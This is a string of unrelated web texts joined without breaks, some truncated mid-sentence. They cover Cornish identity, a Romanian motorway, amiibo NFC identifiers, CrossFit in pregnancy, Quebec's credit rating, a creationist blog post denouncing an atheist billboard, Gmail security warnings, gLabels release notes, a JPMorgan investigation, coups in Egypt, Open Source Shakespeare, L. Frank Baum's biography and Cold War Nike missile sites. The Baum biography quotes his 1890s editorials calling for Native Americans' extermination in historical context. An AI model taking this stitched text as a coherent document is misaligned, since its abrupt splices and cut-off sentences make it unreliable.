But Jake Moffatt, also 18, who grew up in St Austell, says that although he calls himself British, he would like to refer to himself as Cornish one day. "If people are defined as Scottish, Welsh or Cornish, I think it makes people more unique."
I like to say I'm cosmopolitan Louis Colwill, Old Cornwall Society
Mr Cole concedes that Cornish identity is a hard thing to pin down. "There's great ambiguity. Some people are straightforward - Cornish full stop. Some don't see any contradiction in being British and Cornish. Others are Cornish, but English when supporting the World Cup.
"There are 100 PhD theses to be written about identity. It's a great philosophical debate," he says.
However, Louis Colwill, 82, who is a volunteer at the Old Cornwall Society and has lived in Cornwall most of his life, has an answer.
"You only have to go to a local concert and people will sing the Cornish anthem, Trelawny, which shows the togetherness of Cornish people.
"But I spent 27 years travelling the world with the Royal Navy, and although I'm very proud of St Austell and Cornwall, and I love our history, we mustn't be blinkered. Like everywhere, things are changing and becoming more multicultural. I like to say I'm cosmopolitan," he says.
He says that he - like many others in Cornwall - is "very much" keeping an eye on Scotland.
Key words in Cornish Dydh da Hello Dyw genes Goodbye Fatla genes?
How are you?
Yn poynt da (meur rasta)
Very well (thank you)
Yeghes da!
Cheers/Good health! Getty ImagesZF 24
Harta neputinţei: România se chinuie de jumătate de secol să facă o autostradă de la vest la est. Până acum a construit două treimi din drum
Autor: Andreea Neferu 15954
Primul tronson al autostrăzii care va traversa ţara de la est la vest a fost finalizat pe ruta Bucureşti-Piteşti în 1972, iar până în prezent România a construit 530 de kilometri din cei 850 de kilometri ai şoselei de mare viteză care va lega Nădlac de Constanţa. Cu alte cuvinte, ritmul de construcţie în cei peste 40 de ani a fost de puţin sub 13 kilometri pe an, potrivit calculelor ZF. Abia peste 9-10 ani această autostradă de la est la vest va fi gata, potrivit datelor guvernului.
Autostrada de la Nădlac la Constanţa, care tranzitează Sibiu şi Piteşti, este construită în proporţie de aproape două treimi în prezent, astfel că aproape 530 de kilometri din cei 850 de kilometri ai acestei şosele sunt deschişi circulaţiei, deşi au trecut 42 de ani de la deschiderea primului tronson. Costul total de construcţie al acestei autostrăzi este de circa 5,5 mld |
begun pulling federal funding for cities with sanctuary policies.
Read more on this story at The Washington Times.While there are many opinions regarding the ongoing challenges of successfully collecting amiibo, the continually expanding range - there'll even be a Chibi-Robo figurine - suggests that it's a major part of Nintendo's plans. The possibilities for expansion are certainly vast.
Clues to Nintendo's intentions can be found in various ways, meanwhile, and Redditer ZoomBoppo has found something interesting by apparently digging into the coding of amiibo - naturally a serving of salt is recommended, but it's an interesting read.
In a post on the amiibo sub-reddit, the idea of mining the NFC chips of individual figures for their data has produced a pattern that could potentially have tipped Nintendo's hand. ZoomBoppo explains:
So every amiibo character has an 8-byte identification on pages 21 and 22 of the NFC chip. This info contains the general character on page 21 (ie. SSB Mario, SMB Mario, and Golden Mario all have the same page 21), and the print number on page 22 (basically sorted by the number that appears on the upper-right of EU packaging).
Here's an example of Mario's page 21. 00 00 00 00 Simple, right? Here's Luigi and Peach. 00 01 00 00 00 02 00 00 Now take Pit: 07 40 00 00 It appears that the first byte as well as the leading 4 bits of the second byte define what game series the character belongs to, while the trailing 4 bits define the specific character. 000_ is the Mario series; 074_ is the Kid Icarus series.
Using this as a starting point, a comparison was made between various series and their characters. Among the findings?
Here's another interesting case, Rosalina & Luma: 00 04 01 00 Rosalina & Luma is defined as the second version of the Rosalina character with this third byte, meaning an amiibo of Rosalina alone is very possible.
Although the writer reserved scepticism, this would stand to reason given what we think we know about the Mario Party 10-related amiibo.
And within all of the speculation, the following implication may be a dream come true, or a wallet destructive nightmare:
The Pokemon characters also don't follow this ID convention as strictly. Below are the Pokemon in the order Charizard, Pikachu, Jigglypuff, Lucario, Greninja: 19 06 00 00 19 19 00 00 19 27 00 00 1a c0 00 00 1b 92 00 00 It would appear from the previous findings that these characters are all from different series, but that is actually not the case. For the Pokemon, the second byte represents a simple number, and the first byte represents a multiple of 256 to add to that number, with 19 being 0, 1a being 1, and 1b being 2 (512). When you convert the hex to decimal and add the 256s, you get some oddly familiar numbers: 06 from hex = 6, 6 + 0 = 6 19 from hex = 25, 25 + 0 = 25 27 from hex = 39, 39 + 0 = 39 c0 from hex = 192, 192 + 256 = 448
92 from hex = 146, 146 + 512 = 658 These are the Pokemons' corresponding National Pokedex numbers. This means that there is space reserved for all 700+ Pokemon.
A conclusion naturally being drawn is that if Nintendo goes all out with'mon amiibo, perhaps in a future game, amiibo cards would be the likely avenue as opposed to 700+ figurines.
You can read the whole of the post here. There are additional findings including the likelihood of Mii Fighter amiibo figurines, already planned Mario related series left unannounced, and the possibility for pre-planned, Nintendo related series we haven't yet heard about. While this should all be considered rumour, the financial boon of the amiibo market perhaps makes these conclusions a matter of "when", not "if".If you had told me after my first pregnancy that I’d have a much easier experience the next time and I’d be lifting weights doing CrossFit to stay in shape I would have laughed in your face. Yet here I am, 23 weeks into my second pregnancy and that is the truth.
When did I start CrossFit?
My journey at CrossFit COMO started 3 months post-partum with my first child in May 2014. This was after an entire pregnancy of doing next to no physical activity. I was at the bottom of my physical fitness level, but I was determined to be healthy and fit again. It worked.
Today, I am 23 weeks into my second pregnancy. With my doctor’s approval I have kept up with the CrossFit training that I’ve been doing for almost 2 years.
What was my motivation?
I wanted to stay fit and not be miserable through my pregnancy….which is exactly how I felt with my first. When I began CrossFit training, there was a member who was pregnant. She was 6 months and still running, doing pull ups and most of the exercises with a few modifications of course.
She was my inspiration!
I set out to do my own research on the effects of CrossFitting while pregnant. I came to the conclusion that if I became pregnant again, I was going to keep doing CrossFit, not just for me, but for the health of my baby too.June 19, 2017
by The Canadian Press
MONTREAL—U.S. bond rating agency S&P Global has boosted Quebec’s credit rating to AA-, helping the province surpass neighbouring Ontario for the first time.
The agency says over the next couple of years it expects Quebec to keep its budget in the black and its debt ratios in decline thanks to strict cost controls, growing tax revenues and prudent fiscal policies.
Quebec Finance Minister Carlos Leitao tells The Canadian Press his province hasn’t reached this level with S&P, which was formally known as Standard and Poor’s, since 1993.
Overall, he says this is also the province’s first credit upgrade from any ratings agency since 2006 and it pushes Quebec past Ontario for the first time.
The increase bumped up Quebec’s rating from A+.
Leitao credits the province’s budgetary management in recent years for the upgrade and the fact the economy has had a good performance in key areas like job creation.
“This is very good news for Quebec,” said Leitao, who added the change will lower the province’s debt-service charges.The Tri-State Freethinkers atheist group in our area of Northern Kentucky-Greater Cincinnati, who say they are “advocates for equal rights,” continue to make it very obvious they don’t want equal rights for Christians.1
Both Christian and secular media outlets have reported on these atheists’ plans that the Tri-State Freethinkers describe this way:
We have launched an IndieGoGo campaign to fund our billboard that will counter the Ark Encounter grand opening in July. The replica of Noah's Ark is the newest project by Answers in Genesis to promote creationism. While they have a legal right to celebrate their mythology, we find it immoral and highly inappropriate as family entertainment.
Now in the first place, an atheist group has no basis for accusing anyone of being “immoral.” They have no basis for absolute standards—only subjective fallible opinion!
The billboards they plan on putting up in our area will look like this:
Note the wording, “Genocide and Incest Park.” Again, how can atheists, who have no basis for any absolute standards accuse anyone with such a moral judgment, such as genocide and incest?
Atheists believe that all life arose by natural processes and that man is just an animal related to all living things. Because they believe humans evolved from some ape-like ancestors, evolving humans, just like animals, would have mated with whomever they wanted, whenever, with no restrictions except whatever they could accomplish for their own desires. And really, from a truly consistent atheistic perspective, that belief would not change for modern humans.
Christians, however, believe that all humans—back to Adam and Eve—are related but only to each other. Also, biblical Christians build relationships according to what our Creator God, the only absolute authority, has determined. Thus marriage, which was invented by God as recorded in Genesis, is for one man for one woman. ( Genesis 2:18–25; Matthew 19:4 ).
Now I encourage you to watch the promotional fund raising video produced by the Tri-State Freethinkers and their president, Jim Helton, who is also the regional director for the American Atheists:
First, it should be very obvious that ultimately they are not against the Ark project but Christianity and the God of the Bible. They are just using the Ark project as a way of shaking their fist at God. Note how the president of this group throws the Bible, treating it as a contemptible object. I wonder if he would ever do that so publically with the Koran?
Secondly, note his reference to what he calls the Ark Encounter’s “discriminatory hiring practices” and “tax incentives.” He forgot to mention that a federal judge recently ruled that Christian organizations do have equal rights with other organizations under the First Amendment and its free exercise clause. The judge ruled that Answers in Genesis could not be discriminated against to receive Kentucky’s facially neutral tourism tax incentive program.
By the way, Helton does make a point at the end of the video of reminding people that donations to the Tri-State Free Thinkers are tax deductible, and they do state on their website that they are a 501(c)(3) tax deductible, non-profit organization. In other words, they receive benefits from the government by the very nature of their non-profit legal basis!
Helton also failed to mention that the federal judge also ruled that as a religious organization, the Ark Encounter can use religious preference in hiring as legally allowed by Title VII of the Civil Rights Act of 1964. I’m also sure the American Atheist organization (also non-profit and tax-deductible), which he represents, would discriminate against employing a Bible-believing creationist.
In 2007, an atheist group in Kentucky organized a protest outside the gates of the Creation Museum when it was opened. Their protest only brought more publicity to the Creation Museum and an increasing recognition of these atheists’ intolerance to anything Christian and their rejection of equal rights for Christian groups. I’m sure their latest proposed protest of the opening of the Ark Encounter will likewise bring more attention to this world-class, themed attraction.
This group highlights the open hostility and growing aggressiveness of atheists in attacking the Bible and the God who revealed Himself through its historical accounts.
Really what these atheists are doing is summed up by one verse of Scripture where we read about those “who suppress the truth in unrighteousness” ( Romans 1:18 ).
By exhibiting their intolerance of the Ark Encounter this time, this group highlights the open hostility and growing aggressiveness of atheists in attacking the Bible and the God who revealed Himself through its historical accounts. This particularly highlights the intolerance for the Bible, which itself was the moral framework and foundation of Western political philosophy of liberty and equality.
In 2 Peter 3, the Bible speaks of such scoffers who deliberately reject Creation and the Flood. What we experience from these modern scoffers, must be just a fraction of the scoffing Noah must have endured. All but his own family had rebelled against a Holy God who had every right to mete out righteous judgment because:
Then the Lord saw that the wickedness of man was great in the earth, and that every intent of the thoughts of his heart was only evil continually. ( Genesis 6:5 )
The life-size Ark will be the largest timber-frame structure in the world—an engineering and architectural marvel. The scores of exhibit bays inside will be filled with world-class exhibits that I believe will receive rave reviews. This family-friendly facility will open July 7, 2016. For more information on this themed attraction and to purchase tickets, go to ArkEncounter.com.
Thanks for stopping by and thanks for praying,
KenIn celebration of Safer Internet Day, Google today added two new security features to Gmail, which earlier this month passed 1 billion users. While Gmail supports encryption in transit using TLS and automatically encrypts incoming and outgoing emails when it can, that goes out the window if the sender’s or receiver’s email provider doesn’t.
“Of course, it takes at least two people to send and receive an email, so it’s really important that other services take similar measures to protect your messages — not just Gmail,” Google wisely explained. As such, you will now see the following Gmail warning before sending a message to a source that doesn’t support TLS encryption:
You’ll also see the broken lock icon if you receive an email from a non-encrypted source. Furthermore, if you receive an email that can’t be authenticated with either Sender Policy Framework (SPF) or DomainKeys Identified Mail (DKIM), Gmail will show you a question mark in place of the sender’s profile photo, corporate logo, or avatar.
“Not all affected email will necessarily be dangerous,” Google noted. “But we encourage you to be extra careful about replying to, or clicking on links in messages that you’re not sure about. And with these updates, you’ll have the tools to make these kinds of decisions.”
Also today, Google is offering its Google Drive users a 2GB bump in storage if they complete the company’s Security Checkup between February 9 and 11. This is the same deal the company offered for Safer Internet Day last year, though even if you took advantage then, you can still get another 2GB this time around.
The only exception is if you have a Google Apps for Work or Google Apps for Education accounts. That storage costs money, and anyway it’s not like people in enterprises or schools need to be reminded about security (*ahem*).gLabels is a GNU/Linux program for creating labels and business cards. It is designed to work with various laser/ink-jet peel-off label and business card sheets that you’ll find at most office supply stores. gLabels is free software and is distributed under the terms of the GNU General Public License (GPL).
News
Release 3.4.1
28 Apr 2018 Changes/fixes since 3.4.0 include Fixed crash when providing invalid file on command line (Clemens Fries)
Fixed crash of glabels-batch due to missing function prototype (me)
Added “Language” headers to po files (Piotr Drag)
Fixed wrapping issue with text objects when auto_shrink is enabled (me)
Fixed out-of-bounds read in text_nodes (Clemens Fries)
Fixed crash when searching select product combo boxes (Clemens Fries)
Fixed portability issue to signedness of char type (me)
New templates
Updated UI translations: Mario Blättermann (de) Marek Černocký (cs) Rafael Fontenelle (pt_BR) Jiri Grönroos (fi) Joe Hansen (da) Мирослав Николић (sr) (sr@latin) Anders Jonsson (sv) Dušan Kazik (sk) Rūdolfs Mazurs (lv) Balázs Meskó (hu) Daniel Mustieles (es) Claude Paroz (fr) Tiago Santos (pt) Kristjan SCHMIDT (eo) Andika Triwidada (id) Cédric Valmary (oc)
Updated Doc translations Claude Paroz (fr) Download
Release 3.4.0
24 Apr 2016 Changes/fixes since 3.2.1 include Fixed missing contacts when importing from vcard (Tim Waugh)
Create vcard composite address entry from components, if missing (Tim Waugh)
Auto-detect file encoding of CSV files (Jim Patterson)
Fixed sensitivity of first handle of line objects (Marek Černocký)
Object dragging enhancements (Marek Černocký)
Fixed problem with setting shadow color of line and text objects from key (Marek Černocký)
Use current label’s path to set default “save as” directory (Marek Černocký)
Added properties dialog (Marek Černocký)
Fixed potential crash on “Select All” (Marek Černocký)
Fixed delayed rotate/flip (Marek Černocký)
Fixed clipping issue when drawing beyond label editor’s drawing area (me)
Removed final windowing system and dbus dependencies from glabels-3-batch (me)
Added a GS1 input mode for Datamatrix barcodes using the zint backend (me)
Numerous new templates and fixes to the product database (me, Mario Blättermann, GHPS, Marek Černocký, Windel Bouwman, Thomas Steinert, Malte Skoruppa)
Updated UI translations: Åke Engelbrektson (sv) Anders Jonsson (sv) Balázs Meskó (hu) Balázs Úr (hu) Daniel Mustieles (es) Daniel Șerbănescu (ro) Dušan Kazik (sk) Enrico Nicoletto (pt_BR) Gabor Kelemen (hu) Gábor Kelemen (hu) Jiri Grönroos (fi) Jordi Mas (ca) Marek Černocký (cs) Mario Blättermann (de) Muhammet Kara (tr) Necdet Yücel (tr) Pedro Albuquerque (pt) Rafael Fontenelle (pt_BR) Samir Ribic (bs) Tom Tryfonidis (el) Walter Cheuk (zh_HK) Walter Cheuk (zh_TW) Мирослав Николић (sr) (sr@latin)
Updated Doc translations: Alexandre Franke (fr) Daniel Mustieles (es) Dimitris Spingos (el) Marek Černocký (cs) Mario Blättermann (de)
Download
Older news…
ScreenshotFILE - In this May 11, 2012 file photo, people stand in the lobby of JPMorgan Chase headquarters in New York. JPMorgan says it is facing a federal criminal probe relating to mortgage-backed securities sold before the financial crisis. (AP Photo/Mark Lennihan, File)
NEW YORK (AP) — The U.S. Justice Department is investigating JPMorgan Chase over mortgage-backed investments the bank sold in the run-up to the financial crisis.
The New York-based bank said in a regulatory filing that it is responding to investigations by the civil and criminal divisions of the U.S. Attorney's office for the Eastern District of California. In May, the civil division informed JPMorgan that it had "preliminarily concluded" that the bank had violated federal securities laws in connection with certain mortgage-backed investments it sold from 2005 to 2007.
A JPMorgan spokeswoman declined to comment.
The disclosure is just the latest in a swirl of mortgage-related lawsuits and investigations that have hammered big U.S. banks in the aftermath of the financial crisis. The banks have been accused of improperly foreclosing on homeowners, discriminating against others and knowingly making loans to people who couldn't afford them. Other probes, including the one disclosed by JPMorgan, have focused on mortgage-backed securities, where the banks bundled together their mortgages and sold them in slivers to investors.
JPMorgan didn't give details on what the Justice Department is investigating. But previous lawsuits and investigations, against both JPMorgan and other big banks, have said that the banks misled investors about the quality of the loans they were buying. When the real estate bubble burst, many of the mortgage-backed securities soured and the investors who bought them lost billions.
If the investigations result in criminal or civil action by the Justice Department against JPMorgan, it would be the most high-profile government move against the bank to date. JPMorgan, which came through the financial crisis stronger than most of its competitors and was lauded for wise risk-management practices, has lately faced a slew of sanctions by federal regulators.
In January, regulators ordered the bank to take steps to correct poor risk management that led to a surprise trading loss last year of more than $6 billion. The Federal Reserve and the U.S. Comptroller of the Currency also cited JPMorgan for lapses in oversight that could allow the bank to be used for money laundering. Last month, the bank agreed to pay $410 million to settle allegations by the Federal Energy Regulatory Commission that it manipulated electricity prices in California and the Midwest.
An investigation by the Securities and Exchange Commission of the trading loss is nearing final stages with civil charges possible, according to news reports Thursday. The SEC is seeking an admission of wrongdoing from JPMorgan in a settlement, The Wall Street Journal and The New York Times reported, citing unnamed people familiar with the case.
That would be a departure from the SEC's traditional policy of allowing most companies and individuals agreeing to settlements to neither admit nor deny wrongdoing. It would be a major application of a new policy announced recently by SEC Chairman Mary Jo White that calls for requiring admissions of wrongful conduct in some significant cases.
SEC spokesman John Nester declined comment on the reports.
The newly disclosed Justice Department investigations are not JPMorgan's first legal headaches over mortgage-backed securities. It has settled charges from the SEC over mortgage-backed investments it made in the run-up to the financial crisis. It's also facing lawsuits from the New York Attorney General's Office and the National Credit Union Administration over the securities.
JPMorgan is fighting the attorney general's lawsuit, which focused on investments sold by Bear Stearns in 2006 and 2007. JPMorgan bought Bear Stearns in 2008.
JPMorgan made the disclosure about the Justice Department investigations in a quarterly regulatory filing late Wednesday. It came a day after the U.S. government accused Bank of America of civil fraud, saying the company failed to disclose risks and misled investors in its sale of $850 million of mortgage bonds during 2008. The government says that the bank failed to tell investors that more than 70 percent of the mortgages backing the investment were written by mortgage brokers outside the banks' network.
Bank of America has disputed those allegations, saying the investors who bought the securities had "ample access" to data about the mortgages.
"We are not responsible for the housing market collapse that caused mortgage loans to default at unprecedented rates and these securities to lose value as a result," the bank said in a statement this week.
Shares of JPMorgan Chase & Co. slipped 47 cents, to close Thursday trading at $54.83. The stock has traded between $36.40 and $56.93 in the past 52 weeks, and remains up 25 percent since the start of the year.
__
AP Business Writer Marcy Gordon in Washington contributed to this report.This is a guest post by University of Kentucky political scientists Clayton Thyne.
*****
Political scientists and other scholars have amassed a substantial body of work about coups. Below I discuss what this work has found and how it is linked to the events in Egypt. The important lesson that emerges is that the coup in Egypt likely to be bad for Egypt’s fledgling democracy, but a strong response by international actors could help keep Egypt on a democratic trajectory in the long run.
What happened in Egypt was certainly a coup. Jonathan Powell best explains why the military take-over was definitely a coup by summarizing definitions used by fifteen previous scholars who have previously defined “coups,” and Jay Ulfelder comes to a similar conclusion. Both Jon and Jay are right—the coup was overt, perpetrated by people from the state apparatus, and it was illegal. Of this we should have little debate.
Furthermore, systematic data on coups show that what happened in Egypt is relatively uncommon. Below I plot total and successful coups over time using the data that Powell and I compiled. The number of coups has fallen significantly over time, although they are certainly not non-existent. There have been 40 coup attempts since 2000 (17 successful) and 5 coup attempts in 2012 (3 successful).
The Egyptian coup might seem unusual because it was preceded by a popular protest, but in fact these protests regularly precede coups, as Jeremy Pressman rightly noted. Work by me and Aaron Belkin and Evan Schofer shows that popular protests are one of the most consistent predictors of coups.
What does the coup mean for the future of democracy in Egypt? Powell and I show that coups can increase the likelihood of democratization when they overthrow authoritarian regimes, something that seems to be especially true in the post-Cold War era, when elections come sooner after coups according to the findings of Nikolay Marinov and Hein Goemans. But when there is a coup against a democratically elected government, like Morsi’s in Egypt, the scholarly literature is less optimistic: coups that take place against democracies are bad for democracy.
So, what happens now? Most of what I have seen focuses on the internal political dynamics in Egypt (see, for example, analyses from Doug Mataconis). Internal dynamics will undoubtedly be important, but we shouldn’t lose focus on the international community. Although there isn’t a large literature on how the response of the international community matters—though see this forthcoming paper from Megan Shannon and co-authors —support from international actors appear to increase the tenure of leaders who come to power via coups. Using data from Archigos, Powell and myself, and Shannon et al., I examined 205 leaders who came to power from a coup between 1951 and 2004. When these leaders drew positive support from other states and/or from international organizations (IOs) in the six months following the coup, they stayed in power longer than when they drew mainly negative support. Leaders who came to power via a coup that was supported by the international community lasted over 2 years longer than those who came to power and were condemned by the international community. Leaders who enjoyed state support after seizing power lasted over 3 years longer on average than those who faced a hostile response.
Thus, it may matter a great deal how the international community responds to events in Egypt. The African Union has already followed its rules by suspending Egypt, but there haven’t seen a similarly decisive response from many others. As should be expected from Daniel Morey and co-authors’ study of international responses to the Arab Spring uprisings, the Obama administration is all over the place (or see Joel Pollak’s rather scathing critique). Without strong international pressure in support of democracy, the military in Egypt essentially has a blank check to do whatever they want with the state. We’re quickly seeing this play out with the crackdown of supporters of the previous government and the waning hope of seeing someone like ElBaradei gain a strong position of power. A spade is not a shovel, and condemning a coup is not the same stating that “ the future path of Egypt can only be determined by the Egyptian people.” Coups are bad for democracy, international responses to coups matter, and Egypt’s path towards (or away from) democracy will likely hinge upon strong international pressure to return to elections and respect the electoral outcome as soon as possible.Features
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More than just a collection of texts...
Open Source Shakespeare attempts to be the best free Web site containing Shakespeare's complete works. It is intended for scholars, thespians, and Shakespeare lovers of every kind. OSS includes the 1864 Globe Edition of the complete works, which was the definitive single-volume Shakespeare edition for over a half-century. READ MORE...
Why use Open Source Shakespeare?
This site was built with four attributes in mind: Power, Flexibility, Friendliness, and Openness. It won't replace the expensive, subscription-only sites at libraries or research institutions, but you can use the advanced search function, read the plays, and look up words in the concordance.
From June 2006 to February 2016, Open Source Shakespeare hosted over 10 million unique visitors, who logged over 46 million page views.
Users performed about 3 million searches from September 2012 to February 2016.
Most visitors were from English-speaking countries (U.S., U.K, Canada, Australia), with Western European nations contributing a significant portion of the traffic. In addition, a large number of visitors came from non-European countries such as Brazil, China, Egypt, India, and Turkey.
See how the site was built, and how it works
Read the paper (part of an M.A. thesis project) describing OSS's construction, as well as a history and analysis of the Globe Edition's texts. Visit this page to see how the database is built and how the texts are moved into the OSS database. Download the source code and database and use it in non-commercial projects of your own.
Quotation of the moment As in a theatre, the eyes of men,
After a well-graced actor leaves the stage,
Are idly bent on him that enters next,
Thinking his prattle to be tedious.
— King Richard II, Act V Scene 2
Questions and suggestions
The site management is always glad to hear from you: mail@opensourceshakespeare.orgChildren's writer
Lyman Frank Baum (;[1] May 15, 1856 – May 6, 1919) was an American author chiefly famous for his children's books, particularly The Wonderful Wizard of Oz and its sequels. He wrote 14 novels in the Oz series, plus 41 other novels, 83 short stories, over 200 poems, and at least 42 scripts. He made numerous attempts to bring his works to the stage and the nascent medium of film; the 1939 adaptation of the first Oz book would become a landmark of 20th-century cinema. His works anticipated such century-later commonplaces as television, augmented reality, laptop computers (The Master Key), wireless telephones (Tik-Tok of Oz), women in high-risk and action-heavy occupations (Mary Louise in the Country), and the ubiquity of advertising on clothing (Aunt Jane's Nieces at Work).
Childhood and early life [ edit ]
Baum was born in Chittenango, New York in 1856 into a devout Methodist family. He had German, Scots-Irish and English ancestry. He was the seventh of nine children of Cynthia Ann (née Stanton) and Benjamin Ward Baum, only five of whom survived into adulthood.[2][3] "Lyman" was the name of his father's brother, but he always disliked it and preferred his middle name "Frank".[4]
His father succeeded in many businesses, including barrel-making, oil drilling in Pennsylvania, and real estate. Baum grew up on his parents' expansive estate called Rose Lawn, which he fondly recalled as a sort of paradise.[5] Rose Lawn was located in Mattydale, New York.[6] Frank was a sickly, dreamy child, tutored at home with his siblings. From the age of 12, he spent two miserable years at Peekskill Military Academy but, after being severely disciplined for daydreaming, he had a possibly psychogenic heart attack and was allowed to return home.[7]
Baum started writing early in life, possibly prompted by his father buying him a cheap printing press. He had always been close to his younger brother Henry (Harry) Clay Baum, who helped in the production of The Rose Lawn Home Journal. The brothers published several issues of the journal, including advertisements from local businesses, which they would give to family and friends for free.[8] By the age of 17, Baum established a second amateur journal called The Stamp Collector, printed an 11-page pamphlet called Baum's Complete Stamp Dealers' Directory, and started a stamp dealership with friends.[9]
At 20, Baum took on the national craze of breeding fancy poultry. He specialized in raising the Hamburg. In March 1880, he established a monthly trade journal, The Poultry Record, and in 1886, when Baum was 30 years old, his first book was published: The Book of the Hamburgs: A Brief Treatise upon the Mating, Rearing, and Management of the Different Varieties of Hamburgs.[10]
Baum had a flair for being the spotlight of fun in the household, including during times of financial difficulties. His selling of fireworks made the Fourth of July memorable. His skyrockets, Roman candles, and fireworks filled the sky, while many people around the neighborhood would gather in front of the house to watch the displays. Christmas was even more festive. Baum dressed as Santa Claus for the family. His father would place the Christmas tree behind a curtain in the front parlor so that Baum could talk to everyone while he decorated the tree without people managing to see him. He maintained this tradition all his life.[11]
Career [ edit ]
Theater [ edit ]
Baum embarked on his lifetime infatuation—and wavering financial success—with the theater.[12] A local theatrical company duped him into replenishing their stock of costumes on the promise of leading roles coming his way. Disillusioned, Baum left the theater — temporarily — and went to work as a clerk in his brother-in-law's dry goods company in Syracuse. This experience may have influenced his story "The Suicide of Kiaros", first published in the literary journal The White Elephant. A fellow clerk one day was found locked in a store room dead, probably from suicide.
Baum could never stay away long from the stage. He performed in plays under the stage names of Louis F. Baum and George Brooks.[13][14] In 1880, his father built him a theater in Richburg, New York, and Baum set about writing plays and gathering a company to act in them. The Maid of Arran proved a modest success, a melodrama with songs based on William Black's novel A Princess of Thule. Baum wrote the play and composed songs for it (making it a prototypical musical, as its songs relate to the narrative), and acted in the leading role. His aunt Katharine Gray played his character's aunt. She was the founder of Syracuse Oratory School, and Baum advertised his services in her catalog to teach theater, including stage business, play writing, directing, translating (French, German, and Italian), revision, and operettas.
On November 9, 1882, Baum married Maud Gage, a daughter of Matilda Joslyn Gage, a famous women's suffrage and feminist activist. While Baum was touring with The Maid of Arran, the theater in Richburg caught fire during a production of Baum's ironically titled parlor drama Matches, destroying the theater as well as the only known copies of many of Baum's scripts, including Matches, as well as costumes.
The South Dakota years [ edit ]
In July 1888, Baum and his wife moved to Aberdeen, Dakota Territory where he opened a store called "Baum's Bazaar". His habit of giving out wares on credit led to the eventual bankrupting of the store,[15] so Baum turned to editing the local newspaper The Aberdeen Saturday Pioneer where he wrote the column Our Landlady.[16] Following the death of Sitting Bull at the hands of Indian agency police, Baum urged the wholesale extermination of all America's native peoples in a column that he wrote on December 20, 1890 (full text below).[17] On January 3, 1891 he returned to the subject in an editorial response to the Wounded Knee Massacre:[18]
The Pioneer has before declared that our only safety depends upon the total extirmination [sic] of the Indians. Having wronged them for centuries, we had better, in order to protect our civilization, follow it up by one more wrong and wipe these untamed and untamable creatures from the face of the earth.[19]
A recent analysis of these editorials has challenged their literal interpretation, suggesting that the actual intent of Baum was to generate sympathy for the Indians via obnoxious argument, ostensibly promoting the contrary position.[20]
Baum's description of Kansas in The Wonderful Wizard of Oz is based on his experiences in drought-ridden South Dakota. During much of this time, Matilda Joslyn Gage was living in the Baum household. While Baum was in South Dakota, he sang in a quartet which included James Kyle, who became one of the first Populist (People's Party) Senators in the U.S.[citation needed][21]
Writing [ edit ]
Promotional Poster for Baum's "Popular Books For Children", circa 1901.
Baum's newspaper failed in 1891, and he, Maud, and their four sons moved to the Humboldt Park section of Chicago, where Baum took a job reporting for the Evening Post. Beginning in 1897, he founded and edited a magazine called The Show Window,[22] later known as the Merchants Record and Show Window, which focused on store window displays, retail strategies and visual merchandising. The major department stores of the time created elaborate Christmastime fantasies, using clockwork mechanisms that made people and animals appear to move. The former Show Window magazine is still currently in operation, now known as VMSD magazine[22] (visual merchandising + store design), based in Cincinnati.[23] In 1900, Baum published a book about window displays in which he stressed the importance of mannequins in drawing customers.[24] He also had to work as a traveling salesman.[25]
In 1897, he wrote and published Mother Goose in Prose, a collection of Mother Goose rhymes written as prose stories and illustrated by Maxfield Parrish. Mother Goose was a moderate success and allowed Baum to quit his sales job (which had had a negative impact on his health). In 1899, Baum partnered with illustrator W.W. Denslow to publish Father Goose, His Book, a collection of nonsense poetry. The book was a success, becoming the best-selling children's book of the year.[26]
The Baum–Parrish Mother Goose used to promote a breakfast cereal (part 1 of 12 as a free premium)
The Wonderful Wizard of Oz [ edit ]
In 1900, Baum and Denslow (with whom he shared the copyright) published The Wonderful Wizard of Oz to much critical acclaim and financial success.[27] The book was the best-selling children's book for two years after its initial publication. Baum went on to write thirteen more novels based on the places and people of the Land of Oz.
The Wizard of Oz: Fred R. Hamlin's Musical Extravaganza [ edit ]
1903 poster of Dave Montgomery as the Tin Man in Hamlin's musical stage version.
Two years after Wizard's publication, Baum and Denslow teamed up with composer Paul Tietjens and director Julian Mitchell to produce a musical stage version of the book under Fred R. Hamlin.[28] Baum and Tietjens had worked on a musical of The Wonderful Wizard of Oz in 1901 and based closely upon the book, but it was rejected |
along the Florida coast. The 6th Battalion, 65th Artillery was the first to arrive, reaching Key West by 26th October to establish an Army Air Defence Command Post (AADCP) with four firing batteries of ground-to-air Hawk missiles.
This position was to be reinforced with a complement of newly developed Nike-Hercules missiles – the 2nd Missile Battalion, 52nd Air Defence Artillery Group received their orders on 22nd October to establish defensive firing positions around Miami and the Homestead Air Force Base. It took until 14th November for these Nike-Hercules sites to be operational though, missing the Crisis itself by a wide margin.
The Nike-Hercules was an improvement on the former Nike-Ajax model, using solid fuel instead of dangerous and unpredictable liquid fuels; it was also capable of carrying a nuclear warhead. The problem was, at 41 feet in length and weighing 10,710 pounds, these cumbersome missiles just took far too long to mobilise.
As a result, the Missile Crisis had caught the US unprepared; but they wouldn’t be making the same mistake again. The order was given to dig-in – and Washington began to construct what authors Mark Morgan & Mark Berhow would refer to as Rings of Supersonic Steel around the United States’ major cities.
Hundreds of permanent Nike missile sites were built across the US in the years that followed. Each of them consisted of two facilities, linked by underground cabling – the Launching Area, and Integrated Fire Control (IFC) site.
The launch area featured missile storage vaults, usually built underground, as well as missile maintenance and assembly buildings. Just inside the launch area was the ‘Ready Room’ – where troops were housed on standby, ready for an emergency launch against incoming bombs or aircraft.
The IFC area would typically be located around a mile away from the launch pads. A Nike-Hercules IFC installation featured five radar towers – HIPAR (High Power Acquisition Radar), LOPAR (its Low Power cousin), as well as Target Tracking, Target Ranging and Missile Tracking Radar. A sixth, small-yet-crucial antenna provided the ‘IFF’ system: Identification, Friend or Foe.
The HIPAR had a range of over 150 miles, and was contained within a protective geodesic fibreglass shell: its ‘radome.’ The LOPAR served mainly as a backup system and as it operated on a different frequency, it could still be used even if the HIPAR radar was jammed.
Around all that meanwhile, was an area designated as a drop zone. These Nike bases, each one of them came with a package of roughly 120 acres attached: to ensure that when a propellant booster rocket disengaged and fell away from the missile, it fell not onto houses but into empty, military land. Scale that up by 265 Nike missile sites, and that’s 31,800 acres of US soil that was dedicated to the project.
As the Cold War rolled on though, even these state-of-the-art missile systems would survive long enough to grow obsolete. Soviet weaponry improved, new US weapons were developed to combat them and eventually these hundreds of Nike-Hercules missile facilities became redundant.
